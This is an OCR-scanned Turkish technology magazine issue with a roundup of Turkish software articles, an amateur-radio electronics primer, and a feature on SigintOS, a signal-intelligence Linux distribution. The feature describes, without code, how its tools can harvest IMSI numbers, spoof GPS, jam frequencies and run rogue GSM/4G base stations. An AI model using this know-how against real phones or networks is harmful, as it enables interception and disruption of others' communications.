microservice-mimarilerde-servisler-aras%C4%B1-
i%CC%871eti%C5%9Fim-nas%C4%B11-olmal%C4%B1-
3d8db63b4dea




Bir Veri Tarihi

Favori yazarlarimdan Siileyman Fazil Yesil, seyrek ama dolu
dolu yazanlardan. Bu kez verinin iletiminin tarihini Eski
Yunandan baglayarak uzun uzun, hikaye tadinda anlatiyor.
Yine konuyu genis bir yelpazede ele aliyor. Mors alfabesi, telg-
raf, delikli kartlar, cipler, ASCII, MIME standardi, Unicode,
ikili kodlama, onaltilik kodlama, dijital sinyal, URL kodlama,
barkod, karekod, protobuf yazida bahsedilen baglica anahtar
kavramlar.

Baglant:: https://medium.com/@s _fazil yesil/1001-
y%C3%BCz1%C3%BC-veri-e42balbfd757

0

Arka Plan Algoritmalari

Fatih UCAR, tam sevdigim tarzda, faydali bir yazi yayimla-
mis: “Net Koleksiyonlarinin Algoritma Karmasiklig1 ve Dog-
ru Koleksiyonun Segilmesi”. Uzun bagliktan anlagildig: sekliy-
le koleksiyonlarin arka planina egilmis ve calisma prensipleri/
kullandiklar: algoritmalar {izerinden hangi durumda hangi
koleksiyonu se¢memiz gerektiginden bahsetmis.

Yakin zamanda yayimladig1 bir yazisinda bu kez de React’in
derinlerine dalmis. Ilk yazisinda DOM manipiilasyonun nasil
yapildigini (sanal DOM olusturulmasi, asil DOM ile eslesti-
rilmesi), kullanilan algoritmayi, performansl eslestirme i¢in
neler yapilabilecegini detaylariyla anlatmus.

Baglantilar:
https://medium.com/@fatihucar/net-
koleksi%CC%87yonlarinin-algori%CC%87tma-
karma%C5%9Fikli%C4%9Fi-ve-d0%C4%9Fru-
koleksi%CC%87yonun-
$€%C3%A7i%CC%871mesi%CC%87-b41ccba74b85
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https://medium.com/@fatihucar/react-
i%CC%87%C3%A7-dinamikleri-birle%C5%9Ftirme-
£308cc64cf67

Eczaciliktan Yazilimciliga

Mediumda gecen senelerde tesisatgilik yaparken yazilim 6g-
renmeye karar veren ve bir Code Camp ile yazilimciliga adim
atan bir arkadagin hikayesi vardi. Bizde de "caglaror” isminde
eczacl bir abimiz, isini birakip tiniversite yillarinda bir miktar
mesgul oldugu yazilim alanina ge¢meye karar vermis. Sonra
Green Card ¢ikinca ABD’ye tasinmis ve oradaki is goriisme-
lerine hazirlanmaya baglamis... Akabinde biitiin bu seriiveni-
ni yaz1 dizisi halinde paylagmaya baslamis.

Baglant:: https://medium.com/@caglaror/kum-tanesi-
toplama-i%CC%87%C5%9Fi-42caef46e9b6
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Hassas Verilerin Sifrelenmesi

Ziyahan ALBENIZ, hassas verilerin sifrelenmesiyle alakal
Arka Kap1 Siber Giivenlik Dergisinde yayimlanan makalesi-
ni, Mediumda negretmis. Sifrelemenin tarihi seriivenini, ge-
listirilen baslica algoritma ve konseptleri anlatarak basladigi
yazisinda bir 6rnek iizerinden Windowsta GPG kurulumu
yaparak dosya sifrelemeyi anlatmus.

Baglanti: https://medium.com/@ziyahanalbeniz/hassas-
verilerin-i%CC%87letiminde-
d0%C4%9Frulanmas%C4%B1nda-a%C3%A7%C4%B1k-
anahtarl%C4%B1-%C5%9Fifreleme-teknolojisi-gpg4win-
dac078098894
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Makine Ogrenmesi icin Otomasyon

Yazilimcilar olarak her tiirlii siirecimizi otomatize etme egili-
mindeyiz. Yapay zeka uygulamalar1 da yazilimla gelistirildigi
i¢in bu ¢abadan azade kalmamis. Google tarafindan gelistiri-
len AdaNet,—anladigim kadariyla—kiimeleme (ensembling)
denilen bir yontemle, dogru tahminlere metodunu se¢me sii-
recini otomatize ediyormus. Stimeyra Bedir, konu hakkinda
simdiye kadar yayimlanan kaynaklar: tarayarak bir yazi yaz-
mis.

Baglanti: https://medium.com/
deep-learning-turkiye/k%C3%BCmeleme-ensembling-
automl-dl-ve-google-adaneti-sunar-d8cc2b26bb67

Crawler

Web Crawlerlar arama motoru ve SEO ¢aginin 6nemli yap1
taslarindan. Ozellikle arama motorlarinin web sayfalarini in-
dex’lemesinde 6nemli rol sahibi. Elbette siz de kendi crawler’1-
niz1 yazabilirsiniz. Kerem Vatandas, crawler ve spider’larin ne
oldugunu ve nasil yazilabilecegini anlatmus.

Konu hakkinda bir bagka yazida ise Murat Dogan Node.js ile
ornek bir Crawler uygulamasi yazmis ve yayimladigi makale-
de projenin detaylarini anlatmus.

Baglantilar:
https://medium.com/bili%C5%9Fim-hareketi/web-
crawler-spider-ve-scrapy-4c32bcf57¢08

O

https://medium.com/@muratdogan/node-js-ile-site-
i%C3%A7eriklerini-kaz%C4%B1mak-7823e¢04d393e
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ProtoBuf

Protocol Buffers (protobuf), JSON ve XML Serializationa gore
daha performansli ¢alisan bir veri transfer protokolil imis.
Gegtigimiz haftalarda bunun hakkinda 2 Tiirk¢e makale oku-
dum.

Biri Bora Kagmer‘in .Net Coreda kullanimini ve JSON
serialization’la karsilastirmasini da igeren yazis.

Digeri ise Canberk Ozgelik'in 2 yazilik serisinin ilki.(Bu ara-
da kendisinin gegen hafta yayimladig1 Yapisal Tipografiden
Androide Sigrayis baglikli giizel yazisini da burada zikrede-
lim.)

Baglantilar:
http://www.borakasmer.com/protobuf-nedir

https://medium.com/@canberkozcelik/protocol-buffers-
jsondan-sonras%C4%B1-m%C4%B1-1de47d10b1dd

https://medium.com/loodos/yapisal-tipografiden-
androide-1f5b1b4f2163

Tiirkiye'de Girisimcilik

Fatih Coskun, baslattig1 2 girisimin ardindan bu siirecte yasa-
dig1 olumsuzluklar1 kaleme almis. Spoiler vermem gerekirse
(Niye gereksin ki? Iyice sagmaliyorum), yazinin baginda veri-
len istatistige gore Tiirkiye, is yapma kolaylig1 endeksine gore
60. siradaymuis. Yazinin her satir1 bu tespitin altini fazlasiyla
dolduruyor. Sadece biirokrasiye bakan yoniiyle degil; kurum-
lar, sektor ve ekosistem yoniiyle de ¢ok problem varmis. Hatta
2. yaziy1 getirecek kadar malzeme birikmis.




Baglanti: https://medium.com/@

fcoskun/t%C3%BCrkiyede-giri%C5%9Fimci-olmak-
f09b89997ce5

Fonksiyonel Programlama

Fonksiyonel programlamanin popiilaritesi son zamanlarda
giderek artiyor. Ertugrul Cetin, fonksiyonel programlamanin
paradigmasindan bahsettigi bir yazi yazmis. Genel bir maka-
leden ziyade kendi ilgisini ¢eken yonlerinden bahsetmis.

Baglant:: https://medium.com/@ertu.ctn/nedir-bu-
fonksiyonel-programlama-dedikleri-%C5%9Fey-
afa2934d1565

Degismezlik

Yazilimin her paradigmasinda anlasiimasi gereken ama gok
tizerinde duyulmayan bir kavram var: Degismezlik (Immuta-
bility). Oguz Kilig, yine yogun emek ve 6zen igeren bir maka-
le ile JavaScript'te degismezligi detaylica anlatmus.

Baglantr: https://medium.com/@oguzkilic/javascriptte-
de%C4%9Fi%C5%9Fmezlik-11b895a730d8
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.Net Core’a Hiicum

Gegen seneden beri .Net'ten .Net Core’a yogun bir go¢ var.
Ozellikle de .Net Standard yayimlandiktan sonra. Hesap Kur-
du da bu goce katilan firmalardan biri olmus. Dogal olarak bu
gecis tecriibelerini bizlerle paylasmiglar. Orhun Begendi, bu
g6¢ hikayesini 2 yazi ile anlatmus (1, 2).
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Baglantilar:
https://medium.com/hesapkurdu-development/netten-
net-core-a-gectik-ne-sikintilar-yasadik-ae6ddf933cef
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https://medium.com/hesapkurdu-development/netten-
net-core-a-adim-adim-gecis-rehberi-82e00caa7bd8
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Derin Artistik Hareketler

Ayyiice Kizrak, Derin Ogrenme konusunda derin igerikler
tretmeye devam ediyor. Gegtigimiz haftalarda yayimladig:
yazisinda “artistik stil transferi” yapan bir uygulama gelistir-
meyi anlatmig. Temel manada 1 ana resim digeri stil i¢in kul-
lanilacak resim olmak iizere 2 girdi aliyor ve bunlar1 birlestirip
yeni bir resim iiretiyor.

Baglant:: https://medium.com/deep-learning-turkiye/
derin-%C3%B6%C4%9Frenme-ile-artistik-stil-transferi-
29256789c7¢e8
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Alexa ile Hasbihal

Sesli asistanlar yayilmaya devam ediyor. Coktan telefondan
bagimsizliklarini ilan edip evlerimizin ortasina kuruldular.
(“Evlerimiz” lafin gelisi. Durumumuz yok.)

Giiven Sak, evindeki Alexa ile arasinda gegen muhabbetten
bahsettigi bir yazi yayimlamig. Alexa, bir giin “Abi sen bana
her giin ayni seyleri soruyorsun. Bunun bir kodu olsun, ben de
bu sorular: bir fonksiyona ¢ikarayim, reusable olsun, o kodu
soyleyince tak diye cevabi yapistirayim” demis ve yazari derin
distincelere gark etmis.

Baglanti: https://medium.com/@guvsak/alexa-
%C3%B6yle-deyince-d0%C4%9Frusu-%C3%B6nce-bir-
afallad%C4%B1m-cbbf35885923
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MongoDB’de Farkli Kurgular

NoSQL sistemlerin kurgulanmasinda ¢okea bahsi gecen mes-
hur bir tiggen (kiime gosterim versiyonu da var) vardir. Uy-
gulama bu {i¢genin ancak iki bacagini tam anlamiyla yerine
getirebilir. Bu teoremin ismi simdi s6z edecegim yazidan 6g-
rendigim kadariyla Brewer (CAP) Teoremi imis.

Selguk Usta, MongoDBde bu teoremi goz 6niinde bulundu-
rarak nasil bir tasarim yapilmas: gerektigini anlatarak Read
Concern, Write Concern ve Read Preference konularini yaz-
mis.

Baglanti: https://medium.com/@selcukusta/mongodb-
read-concern-write-concern-kurcalamalar%C4%B1-
71179457¢928

Terminal Komutlari

Dogan Aydin, i¢inde yazilimin da bulundugu pek ¢ok farkl
konuda dolu dolu yazilar yaziyor. Gegtigimiz haftalarda ya-
yimladig1 yazisinda Linux ve MacOS terminal komutlarinin
benzerliginin nereden geldigini soruyor ve Unix, Linux tarih-
lerini anlatiyor. Akabinde MacOS’ta 6nemli ve kullanigh gor-
diigii komutlar1 anlatiyor.

Bu baglamda yakin zamanda yayimlanan bir diger yazida
Utku Kamaci, Linux terminali i¢in yardimer 11 komutu ve
kullanim senaryolarini yazmus.

Baglantilar:

https://medium.com/bili%C5%9Fim-hareketi/linux-
macos-un-komutlar%C4%B1n%C4%B1n-

benzerli%C4%9Fi-nereden-geliyor-cfe3f5360892

https://medium.com/kodgemisi/linux-terminal-icin-
ardimci-11-komut-ve-kullanim-senaryolari-
79e6d93d53bc

Birincilik Alan Bir Yapay Zeka Projesinin

Serencami

Tam Faktoring bir hackaton diizenlemis. Yarismanin birinci-
si Pythonda Majority Vote (Topluluk Oylamasi) ile Miisteri
Kayip (Churn) Analizi projesiyle Yunus Emre Giindogmus ve
arkadaslar1 olmus. Cesitli makine 6grenmesi yontemleri kul-
lanilarak stirekli miigterileri kaybetme (churn) analizi yapmus.
Daha da giizeli Yunus Emre Giindogmus, projeyi detaylariyla
anlattig1 detayl1 ve ¢ok bagarili bir makale kaleme almis. Hem
birincilik hem de makale i¢in tebrik edip devam edelim.

Baglanti: https://www.linkedin.com/pulse/pythonda-majo-
rity-vote-topluluk-oylamasi-ile-miisteri-giindogmu
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Bitcoin’in Halkin Arasina Karismasi

Turan Sert, burada sik sik bahsi gecen Blockchain konusun-
da iiretken bir yazar. Son 2 yazisinda Bitcoin’in genis kitlele-
re yayllmasi i¢in yapilan gelistirmelerden bahsetmis. Ilkinde
Blockchain tizerinde 2. bir tabaka olarak konumlandirilan ve
saniyede maksimum islem yapilmas: kisitin1 asmaya yonelik
bir gelistirme olan Lightning Network'd anlatmis. Diger ya-
zida ise borsa islemleri i¢in gelistirilen bir Bitcoin yan zinciri
olan ve Bitcoin degerinde L-BTC isminde bir para birimine
sahip olan Liquidden bahsetmis.

Baglantilar:
https://medium.com/t%C3%BCrkiye/bitcoin-
%C3%BCzerinde-%C4%B1%C5%9F%C4%B1k-
h%C4%B12%C4%B1yla-i%C5%9Flem-lightning-network-
683¢c49196886
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https://medium.com/@turansert/bitcoin-gibi-ama-
de%C4%9Fil-liquid-7a6e25778be4
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TCP Nasil Calisir

TCP, pek ¢ok teknolojinin temelinde kullanilan paket kaybi-
na kars: duyarli bir iletim protokolii. Ayni zamanda yazilimla
ugrasan herkesin bilgi sahibi olmasi gerektigini diigiindiigiim
temel bir konu. Gokhan Sengiin, haftalik yazilarinda yine mi-
marisi ve ¢alisma mantigtyla TCP’yi anlatmaya baglamus.

Baglantilar:
https://medium.com/@gokhansengun/tcp-nas%C4%B11-
%C3%A7al%C4%B1%C5%9F%C4%B1r-1-484612c5264f

Ok 0
=]

https://medium.com/@gokhansengun/tcp-nas%C4%B11-
%C3%A7al%C4%B1%C5%9F%C4%B1r-2-dfa21d9a730d
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Yol Haritalari

Merve Bayram Duran, veri bilimcisi olmaya karar vermis ve
oturup kendine 1 yillik detayl: bir yol haritasi hazirlamis. Ben-
zer bir kariyer hedefi olanlar icin faydali bir kaynak.

Diger bir yol haritasi galigmasi ise yazilima yeni baglayanlar
i¢cin Abdullah Sahin tarafindan hazirlanan olduk¢a kapsamli
bir calisma. Ozellikle yeni mezunlarin veya alayl diye tabir
edilen yazilimla alakasi olmayan okullarda okuyup yazilima
baslayanlarin merak ettigi pek ¢ok konu dokiimanda mevcut.

Baglantilar:
https://medium.com/bili%C5%9Fim-hareketi/veri-
bilimcisi-olma-yolunda-2019-plan%C4%B1m-
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https://mrabdullahsahin.github.io/yolharitasi

Veri Hazirlama

Halil Ibrahim Safak, makine dgrenmesi icin bir seriye bagla-
mis. Gegtigimiz haftalarda yayimladig1 2. yazisinda verilerin
hazirlanmasi agamasini anlatmus.

Yine Hakki Kaan Simgek, veri hazirlama asamasinda ¢ok bo-
yutlu verilerin boyutunu diigiirme yontemlerini anlatmis.

Baglantilar:
https://medium.com/@hibrahimsafak/verilerin-
haz%C4%B1rlanmas%C4%B1-ml-2-
b%C3%B61%C3%BCm-1-k%C4%B1s%C4%B1m-
7bfdb255¢235

https://medium.com/deep-learning-turkiye/boyut-
azaltma-temel-bile%C5%9Fen-analizi-812fd2163bbf
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Kisisel Robotlar, Kisisel Veriler
Yapay zeka, robotik ve otonom araglar gibi teknolojiler gelis-

tikge olay daha da disiplinler arast bir boyuta evriliyor. Ozel-
likle etik ve hukuki tartigmalar giin gectikge artiyor. Tiirkce
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igerik Gretmek tizere robotic.legal ismiyle bir site kurulmus. Bu
site tizerinde okudugum bir yazida Gizem x ¥, kisisel verileri
koruma kanunlarinin tarihinden bahsediyor; akabinde kisisel
hizmetler i¢in kullanilan ve kisisellestirilmesi amaciyla belli
verileri tutan robotlarin bu kanunlar kargisindaki durumunu
sorguluyor.

Baglant:: http://robotic.legal/Kkisisel-robotlar-ve-Kkisisel-

veriler

2018’de Yapay Zeka

2018’in son giinlerinde Stanford Universitesi tarafindan ve
SRI International, MIT, OpenAl, McKinsey Global Institute,
Harvard Universitesi gibi bu alana yon veren kurum ve ku-
ruluglardan bir¢ok arastirmacinin destegi ile olusturulan ‘Ar-
tificial Intelligence Index- 2018 Annual Report’ yayinlanmis.
Deep Learning Tiirkiye Toplulugundan Bagak Buluz ve Seb-
nem Ozdemir, bu raporu Tiirkgeye cevirmis ve yorumlamuslar.

Baglanti: https://medium.com/deep-learning-
turkiye/2018-yapay-zeka-y%C4%B111%C4%B1k-raporu-

ay%C4%B1nland%C4%B1-69f94aelcf81
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Sigint0S

# Sinyal Istihbaratina Yonelik Yerli Linux Dagrtimi #
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sinyal istihbaratina yonelik gelistirilmis bir Linux dagi-

timidir. DVD veya USB bellek tizerinde canli olarak ca-
lisabilme 6zelligi olan bu dagitim, Ubuntu - Linux dagitimu te-
mel alinarak hazirlanmistir. Igerisinde kendine 6zgii SigintOS
Tools adindaki yardimci yazilimi bulunmaktadir. Bu yazilim
ile birgok SIGINT islemleri tek bir grafiksel arayiiz tizerinden
gerceklestirilebiliyor.

SigintOS, isminden de anlagilacag tizere SIGINT yani

Sinyal iglemleri ile ilgilenen pek ¢ok insanin sik¢a karsilastig
donanim ve yazilim kurulumu problemleri SigintOS ile tama-
men ortadan kaldirilmis durumda. HackRF, BladeRF, USRP,
RTL-SDR gibi donanimlar hali hazirda kurulu olarak bulun-
makta olup yine bu alanda en ¢ok kullanilan Gnuradio, GSM,
LTE ve GPS uygulamalar1 da dagitimin igerisinde mevcut bu-
lunuyor.

SigintOS  dagitimini  gelistiren
Murat SISMAN; uzun yillar Li-
nux yerellestirme projelerinde
goniillii olarak gorev almis olup
yazilim alaninda da bir ¢ok ku-
rumsal ve bireysel projeler ha-
yat gegirmistir. Linux ve siber
givenlik alanina olan meraki
neticesinde kendi kullanimi i¢in
hazirladigr SigintOS dagitimini
yine bu alanda caligan ve me-
raki olan herkesin kullanimina
sunmugtur. Ulkemizde sinyal is-
tihbarati konusunda muazzam bir insan kaynag a¢ig1 oldugu
agikar ve bundan dolay1 egitim alaninda kullanilabilecek bir
dagitim oldugunu séyleyebiliriz.

Diinyada ilk ve Tek

Dagitimin en dikkat ¢eken 6zelligi SigintOS Tools adli yazili-
mun grafiksel arayiiziidiir. Diinyada buna benzer, sinyal ala-
nindaki bir¢ok farkli uygulamay: tek bir yazilim aracihig ile
calistirabilen bagka bir 6rnek bulunmamaktadir. Gerek bu
alandaki donanimlarin gerek yazilimlarin kurulum sirasinda
yasanilan problemleri ortadan kaldiran ve cihazlarin baglanti
durumlarini ekranda gérsel olarak sunan SigintOS Tools harici
baska bir yazilim bulunmamaktadir.

Terminal iizerinde caligan tiim yazilimlar1 grafiksel arayiize
gecirerek kullanicilara kolaylik saglamaktadir.
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%100 Yerli Dagitim

SigintOS, Pardus Linux gibi diger dagitimlardan farkli olarak
yalnizca bir alana odaklanmis durumda. Bu nedenle sifirdan
temel bir sistem olusturmak yerine Ubuntunun giiglii ve ka-
rarli yapist kullanilarak iizerinde gelistirmeler yapilmstir.
Tiirkge dahil bir¢ok dil destegi bulunan dagitim global kul-
lanim amaci ile varsayilan olarak Ingilizce dilinde ¢alistyor.
SigintOS Tools yazilim1 da yine global kullanimi baz aldig1 i¢in
Ingilizce olarak sunulmus durumda. Murat SISMAN; global
anlamda bir dagitim olmas istegi tizerine Ingilizce olarak ha-
zirladigini ancak ileriki dénemlerde Tiirkce dil destegini de
ekleyecegini belirtiyor. Bu nedenle dagitim icin milli kelime-
sini kullanmayarak yalnizca yerli olarak nitelendiriyor. Her ne
kadar Ingilizce hazirlanmis olsa da milli kullanim i¢in oldukga
uygun bir dagitim.

Sigint0S ile neler yapilabilir?

SigintOS bir¢ok farkli donanim ile ¢aligabilme 6zelligine sa-
hiptir. Bu donanimlardan bazilar1 yalnizca sinyal dinleme is-
levlerine sahip oldugu gibi bazilar1 hem sinyal dinleme hem
de gonderme islevlerine sahiptir.

Sinyal Dinleme

RTL-SDR adli donanim ile yalnizca sinyal dinleme islemle-
ri gerceklestirilebilir dolayistyla bu donanim ve SigintOS ile;
cevredeki GSM baz istasyonlar1 frekanslar1 bulunabilir, bu baz
istasyonlarindaki zafiyet kullanilarak IMSI numaralar1 gériin-
tiillenebilir. Yine bu GSM zafiyetlerini goriintiileme islemleri
HackRF ve BladeRF gibi donanimlar ile de gergeklestirilebilir.

Sinyal Gonderme

SigintOS Tools yazilimi yardimiyla istenilen frekansta FM
yayini gerceklestirilebilmektedir. Bu islem i¢in HackRF veya
BladeRF gibi sinyal gonderebilen donanimlara sahip olunmasi
gerekmektedir. Yine bu donanimlara sahipseniz kendi belirle-
diginiz koordinatlar1 sahte GPS sinyalleri ile ¢evreye yayarak
cep telefonu gibi GPS alicis1 bulunan tiim cihazlar aldatilabilir.
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Jammer

HackRF veya BladeRF gibi donanimlar yardimiyla belirli fre-
kans karistirilip islevsiz hale getirilebilir. Bu ozellik, devlet
buyiiklerimizin korumalarinin kullandig1 yabanci mengeili
jammer donanimlart ile ayni isleve sahiptir. Aradaki tek fark o
donanimlarin antenlerinin HackRF veya BladeRF gibi dona-
nimlarin antenlerinden daha gii¢li olmasidir. SigintOS, yiiz-
binlerce dolarlik jammer cihazlarimin yaptig isi HackRF ve
basit bir anten giiclendirici ile yapabilmektedir. Bu anlamda
savunma sanayimiz i¢in de oldukca 6nemli bir dagitum orta-
ya ¢tkmis durumdadr.

144.500.000 =
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Baz Istasyonu

Icerisinde kurulu halde bulunan YateBTS adli yazilim ve Bla-
deRF donanimu ile kendinize ait bir GSM operatérii kurabilir,
kullanmis oldugunuz anteninizin giiciiniin el verdigi alanlarda
yayin yapabilirsiniz. Ulkemizdeki en bityiik GSM operator fir-
malaridan birinin yapmis oldugu Drone Cell adindaki ugan
baz istasyonlar1 gibi bir baz istasyonuna sahip olabilirsiniz.
Ustelik o firma gibi iki y1llik bir gelistirme siirecine ihtiyaciniz
olmadan saniyeler igerisinde yapabilirsiniz. http://localhost
adresine baglanilarak GSM ayarlari yapilabilmektedir.
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4G Baz istasyonu

stsLTE adli yazilim ile 4G baz istasyonu kurabilir ve tipki
GSM baz istasyonunda oldugu gibi yayin yapilabilir. Ustelik
hem 4G hem de GSM baz istasyonlarini kendi belirlediginiz
isimde ve frekansta yayinlayabilirsiniz. Bu islem icin BladeRF
veya USRP gibi Full-Dublex yani ayn1 anda hem sinyal alip
hem de génderebilme 6zelliginde bir donanima ihtiyag duyul-
maktadir.

Onemli Not!

Tim bu sinyal dinleme ve gonderme islemleri yasal olan
Halk Bandinda veya test amagli bir faraday kafesi icerisin-
de yapmaniz gerekmektedir. Halk band: diye tabir edilen
27Mhz bandi haricinde yayin yapilmas: kanunen sug teskil
etmektedir. Murat Sisman bu konuda faraday kafesi kullan-
may1 veya yalnizca kendi bulundugunuz alanda bagka hig-
bir cihazi etkilemeyecek sekilde yayin yapacak diisiik giigte

antenler ile caligmay1 dneriyor.

Kurulum

SigintOS DVD veya USB bellek iizerinden canli olarak ¢alis-
maktadir. Dileyen kullanicilar harddisk tizerine kurulum isle-
mini de gergeklestirebilirler. Kurulum icin sigintos.iso dosya-
sin1 https://www.sigintos.com/download adresinden indirip
USB bellege veya DVD’ye bootable olarak yazdirmak yeterli
olacaktir. Ayrica VMware ve VirtualBox gibi sanallagtirma uy-
gulamalari tizerinde de sorunsuz sekilde calistirilabiliyor.

Windows kullanicilar1 iso2usb adli program ile sigintos.iso
dosyasini1 USB flash bellege bootable olarak yazdirabilir.

USE Drive
Drive

[F: (358,03 Mg) v | [ Refresh |
Usb disk capacity must be larger than iso file.

Volume Label (max 11 chars)

FAT32 -

| Bootable, only supports Windows bootable 1SO image.

Status

Freeware, use at your own risk,

https://www.isotousb.com

MacOS kullanicilar1 BalenaEtcher adli program ile kolay bir
sekilde sigintos.iso dosyasin1 USB flash bellege bootable ola-
rak yazdirabilir.

Select image

@9 balenaticher

https://www.balena.io/etcher/
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Halihazirda desteklenen cihazlar:
o BladeRF

o HackRF
o RTL-SDR
o AirSpy

o USRP

Kurulu olan yazilimlardan bazilari:
o SigintOS

o Gnuradio

o Osmocom

o Gqrx

o Gr-gsm

o Gps-sdr-sim

o srsLTE

o YateBTS

o LTE-Cell-Search
o Wireshark

Gelistirme Siireci

SigintOS gelistirme siireci halen devam etmektedir. Bugiine
kadar yalnizca Murat SISMAN tarafindan gelistirilen dagitim
destek vermek isteyen tiim goniilliilere acik durumda. Ozel-
likle Qt ve Python ile yazilim gelistiren kisilerin destegine bol-
ca ihtiyag oldugu belirtiliyor. SigintOS Tool yazilimina daha
bircok modiil eklenmesi planlar arasinda. Bilgi i¢in www.si-
gintos.com adresini ziyaret edebilirsiniz.

Gelistiriciden

Glinlimiiz diinyasinda konvansiyonel savaslar artik yerini elekt-
ronik savaglara birakmis durumda. Hayatimizin her alaninda
kullandigimiz cihazlar birbirleri ile sinyaller yardimiyla haber-
lesmekte. Evimizde kullandigimiz kablosuz modemlerden tutun
cep telefonlarina kadar hemen hemen tiim cihazlar radyo sinyal-
leri ile haberlesiyorlar. Kablosuz iletisimin hayatimiza bu kadar
dahil oldugu ve sinyallerin etrafimiz1 gevreledigi bu diinyadaki
en biiytik zafiyet o sinyallerin rahathkla haberiniz olmadan bas-
kalar1 tarafindan dinlenebilmesidir. Rusyadan ateslenen bir balis-
tik fiizenin yaydig: giiriiltii ve elektromanyetik dalgalar antenler
yardimiyla analiz edilerek ABDden izlenebilmektedir. Goriintii
veya insan istihbaratina ihtiya¢ duymadan yalnizca radyo sinyal-
leri yardimiyla tiim diinya izlenebilirken {ilkemiz olarak bu alan-
da bagkalaria muhta¢ olmadan kendi teknolojilerimizi tiretmek
zorunday1z. Donanim iiretmenin zaruri oldugu bu alanda dona-
nimlari ¢aligtiracak yazilimlar: da gelistirmek bir o kadar 6nemli-
dir. Burada en 6nemli aktor olan devletin yazilim ve donanim ge-
listirme alaninda biiyiik destekler, imkanlar ve egitimler sunmasi
gerekmektedir. Umarim SigintOS bu alanda kendini gelistirmek
isteyen meraklilara ve kamuya faydal bir tiriin olacaktir.

SANAL DUNYA, GERCEK TEHDITLER abakis
' ' e
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Siber Guvenlik
ve Hacking

Mustafa ALTINKAYNAK

= Siber Givenlije Giris = Sistem Giivenligi

* BNU/Linux Temelleri = Af Givenligi

« Kriptoloji « WEP/WPA/WPAZ Cracking
= Web Uygulama Givenligi = Tersine Mihendislik

« OWASP * Cracking

= Burp Suite * BadUSE
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TELSIZ HABERLE§MESI
ALTYAPI BILGILERI

egerli okurlarimiz, altinci sayimizda sizinle yepyeni
D bir yilda tekrar bulusmanin verdigi mutluluk ile he-
pinize oncelikle giizel bir yeni yil diliyorum. Amatér
telsiz hobimiz icerisinde teknolojik nimetleri anlatmaya ¢alis-

tigimiz ge¢mis yazilarimizdan sonra amator telsiz hobimiz ile
ilgili temel bilgilerini verdigimizi diisiiniiyorum.

AMATOR ve ELEKTRONIK BILGISI

Bir amator telsiz operatorii ne derece elektronik bilgisine sa-
hip olmalidir? Kesinlikle, A-B veya C sinif1 bir amat6r olmaniz
sonucu degistirmez! Bu hobiye goniil verdiyseniz goreceksiniz
ki en azindan temel elektronik bilgisine vakif olmaniz gere-
kecektir. Fakat iilkemizde su an kag operatoriin bilgilere haiz
diistintilmesi gereken bir noktadir.

Amator telsiz operatorii sadece havada goriisme yapmamali,
“Radyo frekans nedir?” konusuna da hakim olmalidir. Bunun
tek yolu tamamen elektronik temellerini bilmeye baglidir.
Elektrik akimi, dogru ve alternatif akim nedir, farklari, peri-
yotlar1 ve akim yonii bilinmeden; kisaca RF dedigimiz, frekans
detaylarini algilamak olduk¢a uzun ve maalesef ¢ogunlukla
basarisizlikla neticelenen bir siiregtir. Bunlar ayrica bu ugra-
sin hobiye doniismesi, bu ugrastan bir tat almak icin de ge-
rekli bilgilerdir. Bu hobi igerisine girdiginiz andan itibaren en
sik goriiseceginiz dostlariniz havya, lehim kokusu ve devreler
olmalidir. Aklimizdan gegen pek ¢ok projeyi gerceklestirmek
i¢in bu yeni dostlarimizin yanina, kondansatérler, direngler,
bobinler, EEPROM, Ohm ve amper gibi niceleri eklenecektir.

Burada belirtmek istenen esas konu, hobiyi icra ederken 68-
renip ilgi duyulacak bir¢ok noktada hem olaylar1 kavrama
hem de gerekli miidahalede bulunabilmek icin en azindan
baslangi¢ seviyesinde bir elektronik altyap: tecriibesine sahip
olunmas geregidir. $Simdi burada birkag temel husustan bah-
sedelim.

Akim Nedir Cesitleri Nelerdir?

Elektronlar negatif (-) yonden pozitif (+) yone dogru hareket
etmektedir. Elektronlarin bu hareketine elektrik akimi den-
mesine ragmen elektrik akimi ise elektron akisinin tersi yon-

de; pozitif (+) yonden negatif (-) yone dogru hareket etmekte-
dir. Iste elektronlar arasinda gerceklesen bu enerji aktarimina
akim denilmektedir.

Elektrik akimi birimi ise Amper olarak ifade edilmektedir.

Amper Nedir?

[letken telin herhangi bir noktasindan saniyede gecen bir Co-
ulomb elektrik yiikii ile olusan elektrik akim miktarina am-
per denir. Bir Coulomb 6,25 x 10718 elektron yiikii miktar1
ile ifade edilir. Ayrica bu ifade akim siddeti olarak da ifade
edilmektedir.

Eger iletkenin 6l¢iilen herhangi bir kesitinden saniyede 1 Co-
ulomb yiik gecerse olgiilen akim giddeti 1A olarak olgiiliir.
Asagidaki resimde elektrik akiminin ¢alisma prensibini gorsel
olarak gorebilirsiniz. Resimde goriildiigii gibi elektronlar -
(eksi) yonden + (art1) yone dogru hareket etmektedir.

I(—lH(*-. <o

el e

-

e & &

Elektrik Akimi Cesitleri

Elektrikte, Akim ttrleri Dogru Akim(DA veya DC) ve Al-
ternatif Akim (AA veya AC) olarak iki farkli kategoriye ay-
rilmaktadir. Olusan bu akim gesitliligi elektrik alaninin
zenginlesmesine sebep olmus ve elektrigin pek ¢ok alanda
kullanilabilmesine imkan vermistir.
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Dogru Akim (DC) Nedir?

Volt

Zathaty

Elektronik alaninin en temel kavramidir. Giig gerektiren bii-
tiin elektronik devreler bir gii¢ kaynag: yardimi ile dogru akim
elde edilerek calistirilirlar.

Dogru akim, zamana bagli olarak yonii ve siddeti degisme-
yen akim tiirtidir. En ideal dogru akim kaynag: sabit bir ¢ikis
verebilmelidir. Bundan dolayi, yeryiiziindeki en ideal dogru
akim kaynag olarak ise pilleri gostermek miimkiindiir.

Alternatif Akim (AC) Nedir?

Alternatif akim, zamana bagli olarak yonti ve siddeti degisen
akim tiridir. Genellikle yiiksek gtic ile ¢alisan elektrik dev-
relerinin kumandasinda ve yiiksek giiglii elektrik motorlarini
stirmek i¢in kullanilan akim tiradir.

Ayrica, ev tesisati i¢in ¢ekilen elektrik kaynag: da alternatif
akim ile ¢aligmaktadir. Ciinkii alternatif akim, dogru akima
gore iletken yardimi ile ¢ok daha rahat ve kayipsiz sekilde tasi-
nabilmektedir. Tim bunlara ragmen evlerimizdeki buzdolabs,
¢amagir makinesi ve bulagik makinesi gibi cihazlar dogrudan
alternatif akimla calistig1 gibi televizyon, bilgisayar, video
oynatict gibi elektronik cihazlar da prizden gelen alternatif
akimli kaynag: gii¢ tnitelerinde dogru akima doniistiirerek
calisirlar. Yapilan bu adimlara regiile islemi denir.

Alternatif Akim Dogru Akima Nasil Doniistiirilir?
